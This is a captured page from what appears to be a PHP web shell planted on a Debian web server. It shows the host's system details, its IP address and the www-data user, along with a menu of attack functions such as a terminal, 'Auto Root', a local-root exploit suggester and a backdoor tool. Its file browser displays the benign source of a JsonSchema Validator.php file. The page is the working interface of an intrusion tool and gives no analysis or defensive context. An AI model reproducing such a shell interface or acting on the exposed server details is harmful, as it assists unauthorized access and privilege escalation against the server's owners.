Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
JsonSchema /
Delete
Unzip
Name
Size
Permission
Date
Action
Constraints
[ DIR ]
drwxr-xr-x
2022-03-15 18:01
Exception
[ DIR ]
drwxr-xr-x
2022-03-15 18:01
Uri
[ DIR ]
drwxr-xr-x
2022-03-15 18:01
RefResolver.php
7.95
KB
-rw-r--r--
2016-01-25 16:43
Validator.php
1.14
KB
-rw-r--r--
2016-01-25 16:43
autoload.php
3.04
KB
-rw-r--r--
2016-03-09 23:56
Save
Rename
<?php /* * This file is part of the JsonSchema package. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace JsonSchema; use JsonSchema\Constraints\SchemaConstraint; use JsonSchema\Constraints\Constraint; /** * A JsonSchema Constraint * * @author Robert Schönthal <seroscho@googlemail.com> * @author Bruno Prieto Reis <bruno.p.reis@gmail.com> * @see README.md */ class Validator extends Constraint { const SCHEMA_MEDIA_TYPE = 'application/schema+json'; /** * Validates the given data against the schema and returns an object containing the results * Both the php object and the schema are supposed to be a result of a json_decode call. * The validation works as defined by the schema proposal in http://json-schema.org * * {@inheritDoc} */ public function check($value, $schema = null, $path = null, $i = null) { $validator = $this->getFactory()->createInstanceFor('schema'); $validator->check($value, $schema); $this->addErrors(array_unique($validator->getErrors(), SORT_REGULAR)); } }